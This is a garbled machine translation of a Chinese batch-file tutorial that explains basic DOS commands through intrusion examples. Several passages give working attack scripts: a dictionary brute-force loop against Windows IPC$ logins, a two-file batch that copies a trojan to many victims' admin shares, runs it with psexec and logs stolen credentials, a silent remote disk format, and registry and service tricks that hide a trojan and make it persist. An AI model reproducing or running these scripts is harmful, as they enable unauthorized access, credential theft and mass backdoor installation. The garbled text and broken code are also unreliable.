Batch Programming--Introduction to _dos/bat

Source: Internet
Author: User
Tags diff echo command eol goto
Use batch commands to classify special files into a file by extension. In high school I was initially exposed to the DOS era, I have also studied the batch order, but was not very good at that time, but also read some of the articles, but also did not further in-depth study. Basically Google,baidu can not find any information. Today again Google,baidur checked, found several articles (but the template seems to be based on the same article "Concise batch course", or very few, but it is enough ha.





The original made place has not been found, but still want to paste, is really good things, and both public and private to introduce:





A batch file is an unformatted text file that contains one or more commands. Its file name extension is. bat or. cmd. Type the name of the batch file at the command prompt, or double-click the batch file.





The system invokes Cmd.exe to run them one at a time in the order in which each command in the file appears. Using a batch file (also known as a batch program or script) simplifies routine or repetitive tasks. Of course





The main content of our version is to introduce some practical application of batch processing in intrusion, for example, we will refer to using batch file to patch the system, batch implantation back door program, etc. Let's start with a batch of study tours here.





Introduction to Simple batch processing internal commands


1.Echo command


Turn on Echo or turn off request echoing, or display a message. If there are no arguments, the echo command displays the current echo setting.


Grammar


echo [{On|off}] [message]


Sample: @echo Off/echo Hello World


In practical applications we will combine this command with a redirect symbol (also known as a pipe symbol, commonly used in > >> ^) to implement input commands into a file in a particular format. This will be reflected in future examples.





2.@ command


Represents a command that does not show the @ behind it, and in the course of an intrusion (for example, using batches to format an enemy's hard disk), you can't let the other person see the command you're using.


Sample: @echo off


@echo now initializing the program,please wait a minite ...


@format X:/q/u/autoset (Format This command is not allowed to use/y This parameter, it is gratifying that Microsoft left a autoset This parameter to us, the effect and/y is the same. )





3.Goto command


Specifies that the program will process commands that start on the next line when the label is found.


Syntax: Goto label (label is a parameter that specifies the line in the batch program to which you want to turn.) )


Sample:


if {%1}=={} goto noparms


if {%2}=={} goto noparms (if,% 1,%2 you do not understand, skip first, then there will be a detailed explanation later.) )


@Rem check parameters if NULL show usage


: noparms


echo Usage:monitor.bat ServerIP portnumber


Goto END


The name of the label can be casually played, but it is best to have a meaningful letter, add a letter: to indicate that the letter is a label, the Goto command is based on this: to find the next jump to there. Better Have a





Some explanations so that you will be able to understand your intentions when others look.





4.Rem command


Note Command, in the C language is equivalent to/*--------* *, it will not be executed, just play a role in the annotation, easy to read and your own future changes.


Rem message


Sample: @Rem This is the description.





5.Pause command


When you run the Pause command, the following message is displayed:


Press any key to continue ...


Sample:


@echo off


: Begin


Copy a:*.* D:\back


echo please put a new disk into driver a


Pause


Goto BEGIN


In this example, all files on the disk in drive A are copied to D:\back. When you display a comment that prompts you to put another disk into drive A, the pause command suspends the program so that you can replace





Disk, and then press any key to continue processing.





6.Call command


Calls another batch program from one batch program and does not terminate the parent batch program. The call command accepts the label used as the calling target. If you use call outside of a script or batch file, it will not





Work at the command line.


Grammar


call [[Drive:][path] FileName [batchparameters]] [: Label [arguments]]


Parameters


[Drive:} [Path] FileName


Specifies the location and name of the batch program to invoke. The filename parameter must have a. bat or. cmd extension.





7.start command


Calling external programs, all DOS commands and command-line programs can be invoked by the start command.


Intrusion Common parameters:


Min Start window minimized


Separate starts 16-bit Windows programs in separate spaces


High priority class Start application


Realtime starts the application in the Realtime priority category


Wait to start the application and waiting for it to end


Parameters these parameters for transmission to the command/program


Executing the application is a 32-bit GUI application when CMD. EXE does not wait for application termination to return a command prompt. If executed within a command script, the new behavior does not occur.


8.choice command


Choice Use this command to allow the user to enter a character to run different commands. Use should be added/C: parameter, the letter should be written after the prompt can enter characters, no spaces between. Its return code is 1234 ...





...


such as: Choice/c:dme defrag,mem,end


will display


Defrag,mem,end[d,m,e]?


Sample:


The contents of Sample.bat are as follows:


@echo off


Choice/c:dme Defrag,mem,end


if errorlevel 3 goto defrag (the error code with the highest value should be judged first)


if errorlevel 2 goto MEM


If Errotlevel 1 goto end





:d Efrag


C:\dos\defrag


Goto END


: Mem


Mem


Goto END


: End


echo Good bye





When this file is run, will display defrag,mem,end[d,m,e]? The user can select D m e and then the IF statement will make a judgment that D represents the execution of the defrag program segment, M represents the execution of the program labeled MEM





Paragraph, E, is the program segment that executes the label end, and each program segment ends with Goto ending to the end label, and then the program displays good bye, and the file ends.





9.If command





If the condition is judged to be in compliance with the stipulated conditions, it is decided to execute different commands. There are three different formats:


1, if "parameter" = = "string" command to be executed


If the parameter is equal to the specified string, the condition is set, the command is run, or the next sentence is run. (note is two equals)


If "%1" = = "A" format a:


if {%1}=={} goto noparms


if {%2}=={} goto noparms





2, if exist file name to execute command


If you have the specified file, the condition is set, run the command, or run the next sentence.


such as if exist Config.sys edit Config.sys





3, if errorlevel/if not errorlevel number of commands to be executed


If the return code equals the specified number, the condition is set, the command is run, or the next sentence is run.


if errorlevel 2 goto x2


DOS program will return a number to DOS, called error code ERRORLEVEL or return code, the common return code is 0, 1.





10.for command


The for command is a more complex command that is used primarily to loop through commands within a specified range.


When you use the for command in a batch file, specify the variable using the%%variable





for {%variable|%%variable} in (set) do command [CommandLineOptions]


%variable specifies a single letter replaceable parameter.


(set) to specify one or a set of files. You can use wildcard characters.


command specifies the commands that are executed for each file.


command-parameters specifies a parameter or command-line switch for a particular command.


When you use the for command in a batch file, specify the variable using the%%variable


Instead of using%variable. Variable names are case-sensitive, so%i are different from%i





If the command extension is enabled, the following additional for command formats are


Support:





FOR/D%variable in (set) do command [Command-parameters]





If the set contains wildcard characters, specify a match to the directory name, not the file


Name match.





FOR/R [[Drive:]path]%variable in (set) do command [command-





Check the [drive:]path-rooted directory tree, pointing to the


The For statement. If no directory is specified after/R, the current


Directory. If the set is only one single point (.) character, the directory tree is enumerated.





FOR/L%variable in (start,step,end) do command [Command-para





The set represents a sequence of numbers in increments from start to finish.


Therefore, (1,1,5) will produce a sequence of 1 2 3 4 5, (5,-1,1) will produce


Sequence (5 4 3 2 1).





for/f ["Options"]%variable in (file-set) do command


for/f [' Options ']%variable in (' String ') do command


for/f ["Options"]%variable in (' Command ') do command





Or, if you have the USEBACKQ option:





for/f ["Options"]%variable in (file-set) do command


for/f [' Options ']%variable in (' String ') do command


for/f ["Options"]%variable in (' Command ') do command





FileNameSet is one or more file names. Continue to the filenameset.


Before the next file, each file has been opened, read, and processed.


Processing involves reading a file, dividing it into lines of text, and then each row


resolves to 0 or more symbols. Then use the found symbol string variable value


Call the For loop. By default,/F is separated from each row of each file


The first blank symbol. Skips blank lines. You can specify optional "options" by specifying


Parameter overrides the default resolution *. This quoted string consists of one or more


Specifies keywords for different resolution options. The key words are:





Eol=c-refers to the end of a line comment character (just one)


Skip=n-refers to the number of rows ignored at the start of the file.


Delims=xxx-refers to the delimiter set. This replaces the space and the jump bar


The default delimiter set.


Tokens=x,y,m-n-refers to which symbol of each line is passed to each iteration


For itself. This causes the extra variable name to be


Format is a range. Specify m by nth symbol


The last character in the symbol string, asterisk,


Then the extra variables will be parsed in the last symbol


Assign and accept the reserved text for the line.


USEBACKQ-Specifies that the new syntax is already used in the following class cases:


Executes a string of post quotes as a command and


The quote character is a literal string command and is allowed in the fi


Use double quotes to expand the file name.





Sample1:


For/f "eol=; tokens=2,3* delims=, "%i in (myfile.txt) do command





Each row in the myfile.txt is parsed, and those lines that begin with a semicolon are ignored, and the


The second and third symbols in each row are passed to the for program body, with commas and/or


Space-delimited symbol. Note that the statement for the body of this for program references%i to


Get the second symbol, refer to%j to get the third symbol, and reference the%k


To get all the remaining symbols after the third symbol. For a file with spaces


Name, you need to enclose the file name in double quotes. In order to make it in this way


With double quotes, you also need to use the USEBACKQ option, otherwise the double quotes will


is understood to be used to define a string to parse.





%i is specifically described in the For statement,%j and%k are


The tokens= option is specifically described. You can use the tokens= line


Specify up to 26 symbols, as long as you do not attempt to describe an above-letter ' Z ' or


Variable of ' Z '. Keep in mind that a for variable is a single letter, case, and global;


No more than 52 are in use at the same time.





You can also use for/f parsing logic on adjacent strings;


Enclose the filenameset between parentheses in single quotes. In this way, the character


The string is treated as a single input line in a file.





Finally, you can use the for/f command to parse the output of the command. The method is to


The filenameset between parentheses becomes a reverse-enclosed string. The string will


is passed to a child CMD as a command line. EXE, whose output will be caught in


Memory and is treated as a file analysis. Therefore, the following example:





for/f "Usebackq delims=="%i in (' Set ') do @echo%i





The name of the environment variable in the current environment is enumerated.





In addition, the substitution of a for variable reference has been enhanced. You can now use the following


Option syntax:





~i-Remove any quotes ("), expand%I


%~fi-Will%I Extend to a fully qualified path name


%~di-Will%I only Expand to a drive letter


%~PI-Will%I only Extend to a path


%~ni-Will%I only Extend to a filename


%~xi-Will%I only Extended to a file name extension


%~si-The extended path contains only short names


%~ai-Will%I File attributes extended to files


%~ti-Will%I Date/time of expansion to file


%~zi-Will%I Expand to the size of the file


~ $PATH: I-Find directories listed in PATH environment variables, and%I Expand


To the first fully qualified name found. If the environment variable


is not defined, or the file is not found, the key combination expands


Empty string





You can combine modifiers to get multiple results:





%~DPI-Will%I only Extend to a drive letter and path


%~nxi-Will%I only extended to a filename and extension


%~FSI-Will%I only Extended to a full pathname with a short name


%~DP$PATH:I-finds the directory listed in the PATH environment variable, and%I Expand


To the first drive letter and path found.


%~ftzai-Will%I DIR extended to a similar output line





In the above example,%I And PATH can be replaced with other valid values. ~ Grammar


Terminates with a valid for variable name. Select a similar%I The uppercase variable name


It is easier to read and avoids confusion with key combinations that are not case-sensitive.





Above is the official help of MS, let's give a few examples to specify the purpose of the for command in the intrusion.





Sample2:





Use the for command to implement brute force password cracking on a target Win2K host.


We used net use \ip\ipc$ "password"/u: "Administrator" to try this connection with the target host, write down the password when successful.


The main command is one: for/f i% in (dict.txt) does net use \ip\ipc$ "i%"/U: "Administrator"


i% is used to represent the admin password, and the i% value in Dict.txt is connected with the net use command. Then pass the results of the program to the Find command--


for/f i%% in (dict.txt) does net use \ip\ipc$ "i%%"/U: "Administrator" |find ": Command completed successfully" >>d:\ok.txt, so KO.





Sample3:





Have you ever had a large number of chickens waiting for you to plant the back door + trojan? , when a lot of time, the original very happy thing will become very depressed:). The beginning of the article is about using batch files,





Can simplify routine or repetitive tasks. So how to achieve it? Oh, look at it you will understand.





There is only one main command: (when using the for command in a batch file, the specified variable uses%%variable)


@for/F "tokens=1,2,3 delims="%%i in (victim.txt) does start call Door.bat%%i%%j%%k


The use of tokens is shown in the above Sample1, where it indicates that the contents of the Victim.txt are passed in sequence to the parameters in Door.bat%i%j%k.


And Cultivate.bat is simply using the net USE command to establish a ipc$ connection, and copy Trojan + back door to victim, and then use the return code (If errorlever =) to screen the main back door of successful planting





Machine, and echo out, or echo to the specified file.


Delims= means that the content in Vivtim.txt is delimited by a single space. I want to see here you also must understand this victim.txt the content is what kind of. Should be based on objects represented by%%i%%j%%k





column, is generally IP password username.


Code prototype:


---------------cut This then save as a batchfile (I call it main.bat)---------------------------


@echo off


@if "%1" = "" Goto usage


@for/F "tokens=1,2,3 delims="%%i in (victim.txt) does start call Ipchack.bat%%i%%j%%k


@goto End


: Usage


@echo run this batch in DOS modle.or just double-click it.


: End


---------------cut This then save as a batchfile (I call it main.bat)---------------------------








-------------------cut This then save as a batchfile (I call it door.bat)-----------------------------


@net use \%1\ipc$%3/u: "%2"


@if errorlevel 1 goto failed


@echo trying to establish the ipc$ connection ...... Ok


@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP%1 USER%2 PWD%3 >>ko.txt


@psexec \%1 C:\winnt\system32\windrv32.exe


@psexec \%1 net start windrv32 && if not errorlevel 1 echo%1 backdoored >>ko.txt


: Failed


@echo Sorry can not connected to the victim.


-----------------cut This then save as a batchfile (I call it door.bat)--------------------------------


This is just a prototype of an automatic implant back-door batch, with two batch and backdoor programs (Windrv32.exe), PSexec.exe need to be placed in a unified directory. Batch Content


Can be extended, for example: Add the function of clearing log +ddos, add the function of the timer adding user, the more depth may make it have the automatic propagation function (worm). There is no more narration here, and interested friends can study for themselves.





Two. How to use parameters in a batch file


You can use parameters in batches, typically from 1% to 9% of these nine, and when there are multiple parameters that need to be shifted with shift, this is rarely the case, and we don't think about it.


Sample1:fomat.bat


@echo off


If "%1" = = "A" format a:


: Format


@format A:/q/u/auotset


@echo Please insert another disk to driver A.


@pause


@goto Fomat


This example is used to continuously format several floppy disks, so use the time to enter Fomat.bat A in the DOS window, hehe, seems to be a little superfluous ~ ^_^


Sample2:


When we want to build a ipc$ connection, we always have to enter a large number of commands, make it wrong, so we might as well put some fixed command to write a batch, the broiler IP password username when





To assign this batch to a parameter so that it doesn't have to be ordered every time.


@echo off


@net use%\ipc$ "2%"/U: "3%" Note Oh, here password is the second parameter.


@if ERRORLEVEL 1 echo Connection failed


How about, the use of parameters is relatively simple? You must have learned to ^_^ so handsome.





Three. How to use the combination command (compound commands)





1.&





Usage: First Command & second command [& Third Order ...]





In this way, you can execute multiple commands at the same time, regardless of whether the command was executed successfully





Sample:


C:\>dir z: & dir c:\Ex4rch


The system cannot find the path specified.


Volume in Drive C has no label.


Volume Serial number is 0078-59FB





Directory of C:\Ex4rch





2002-05-14 23:51


.


2002-05-14 23:51


..


2002-05-14 23:51 Sometips.gif





2.&&





Usage: First Command && second command [&& Third Order ...]





In this way, you can execute multiple commands at the same time, you will not execute the following command when you encounter the command that executes the error, and if there is no error, all the commands are executed;





Sample:


C:\>dir z: && dir c:\Ex4rch


The system cannot find the path specified.





C:\>dir c:\Ex4rch && dir z:


Volume in Drive C has no label.


Volume Serial number is 0078-59FB





Directory of C:\Ex4rch





2002-05-14 23:55


.


2002-05-14 23:55


..


2002-05-14 23:55 Sometips.gif


1 File (s) bytes


2 Dir (s) 768,671,744 bytes free


The system cannot find the path specified.





It is simpler to use this command when making a backup, such as:


Dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup


If a Backup.mdb file exists on the remote server, the copy command is executed and the copy command is not executed if the file does not exist. This usage can replace the IF exist:)





3.| |





Usage: first Command | | The second command [| | | The Third order ...]





In this way, you can execute multiple commands at the same time, do not execute the following commands after encountering the correct command, and execute all commands if the correct command is not present;





Sample:


C:\ex4rch>dir Sometips.gif | | Del Sometips.gif


Volume in Drive C has no label.


Volume Serial number is 0078-59FB





Directory of C:\Ex4rch





2002-05-14 23:55 Sometips.gif


1 File (s) bytes


0 Dir (s) 768,696,320 bytes free





Examples of combinations of commands used:


Sample


@copy Trojan.exe \%1\admin$\system32 && if not errorlevel 1 echo IP%1 USER%2 pass%3 >>victim.txt





Iv. Use of PIPING commands





1.| Command


Usage: First Command | The second command [| The Third Order ...]


Use the result of the first command as a parameter to the second command, and remember that this approach is common in Unix.





Sample


Time/t>>d:\ip.log


Netstat-n-P Tcp|find ": 3389" >>d:\ip.log


Start Explorer


Did you see it? For Terminal Services allows us to customize the start of the user program, to enable users to run the following bat to obtain the IP of the logged-in user.





2.>, >> output redirection command


Redirects a command or output of a program to a specific file, the difference between > >> is that,> clears the contents of the original file and writes to the specified file, and >> only appends the content to the specified file without altering its contents.





Sample1:


echo Hello World>c:\hello.txt (stupid example?)





Sample2:


Nowadays DLL is popular, we know System32 is a good place to hide and seek, many Trojans have sharpened their heads to drill there, DLL horse is no exception, for this we can install the system and the necessary applications, the directory of EXE and DLL file for a record:


Run cmd--conversion directory to System32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,


The names of all EXE and DLL files are recorded separately in Exeback.txt and Dllback.txt,


In the future if found unusual but use the traditional method to check the problem, you should consider whether the system has sneaked into the DLL Trojan.


Then we use the same command to log the EXE and DLL files under System32 to the other exeback1.txt and Dllback1.txt, and then run:


CMD--FC exeback.txt Exeback1.txt>diff.txt & FC Dllback.txt Dllback1.txt>diff.txt. (using the FC command to compare the DLL and EXE files before and after two times, and enter the results into diff.txt) so that we can find some of the extra DLLs and EXE files, and then view the creation time, version, Whether the compression and so on can be more easily to determine if the DLL has been patronized. No is the best, if there is not directly del off, first with regsvr32/u Trojan.dll the back door DLL file off, and then move it to the Recycle Bin, if the system does not reflect the exception to completely delete or submit to antivirus software company.





3.<, >&, <&


< read the command input from the file instead of from the keyboard.


>& writes the output of one handle to the input of another handle.


<& reads input from a handle and writes it to another handle output.


These are not commonly used, and do not introduce more.





Five. How to use the batch document to * make the registration form





In the process of intrusion often back to the registry's specific key value to achieve a certain purpose, such as: in order to achieve the hidden back door, trojan program and delete the remaining key value under run. or create a service to load the back door. Of course, we will also modify the registry to strengthen the system or to change some of the system's properties, which require us to have a certain understanding of the registry *. Now let's learn how to use it. REG file to * make the registration form. (We can use batch to generate a reg file) about the registry of the * do, common is to create, modify, delete.





1. Create


There are two types of creation, one is to create a subkey (subkey)





We create a file that reads as follows:





Windows Registry Editor Version 5.00





[Hkey_local_machine\software\microsoft\hacker]





Then execute the script and you have created a subkey with the name "hacker" under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.





The other is to create a project name


The file format is a typical file format, consistent with the file format you exported from the registry, as follows:





Windows Registry Editor Version 5.00





[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


"Invader" = "Ex4rch"


"Door" =c:\winnt\system32\door.exe


"Autodos" =dword:02





So, under [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


NEW: Invader, door, about these three projects


The type of invader is "String value"


The type of door is "REG SZ value"


The type of Autodos is "DWORD value"








2. Revise


The modification is relatively simple, just export the item you need to modify, then modify it with Notepad, then import (regedit/s).





3. Delete


Let's start by saying that to delete a project name, we create a file like this:





Windows Registry Editor Version 5.00





[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


"Ex4rch" =-





Execution of the script, [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] under the "Ex4rch" was deleted;





Let's take a look at deleting a subkey, and we'll create a script like the following:





Windows Registry Editor Version 5.00





[-hkey_local_machine\software\microsoft\windows\currentversion\run]





Executing the script, [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] has been deleted.





Believe you see here,. reg files you've got the basics. The goal now is to use batch processing to create a. reg file for a specific content, remember what we said earlier that using redirection symbols makes it easy to create a specific type of file.





Samlpe1: As in the example above, if you want to generate the following registry file


Windows Registry Editor Version 5.00





[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


"Invader" = "Ex4rch"


"Door" =hex:255


"Autodos" =dword:000000128


This is only necessary:


@echo Windows Registry Editor Version 5.00>>sample.reg





@echo [Hkey_local_machine\software\microsoft\windows\currentversion\run]>sample.reg


@echo "Invader" = "Ex4rch" >>sample.reg


@echo "Door" =5>>c:\winnt\system32\door.exe>>sample.reg


@echo "Autodos" =dword:02>>sample.reg








Samlpe2:


We are now using some of the older Trojans that may be in the registry [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion





\run (Runonce, RunServices, runexec)] generates a key value to enable the Trojan to start. But this is easy to expose the path of the Trojan, which led to the Trojan was killed, It is relatively safe to register a Trojan horse program as a system service. Below to configure a good IRC Trojan Dsnx as an example (named Windrv32.exe)


@start Windrv32.exe


@attrib +h +r Windrv32.exe


@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll


@echo "Windsnx" =->>patch.dll


@sc. exe create windriversrv type= kernel start= auto displayname= windowsdriver binpath=


@regedit/S Patch.dll


@delete Patch.dll





@REM [Deletes Dsnxde in the registry, Sc.exe it as a system critical service while setting its properties to hidden and read-only, and config to self-start]


@REM This is not a safer ^_^.


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.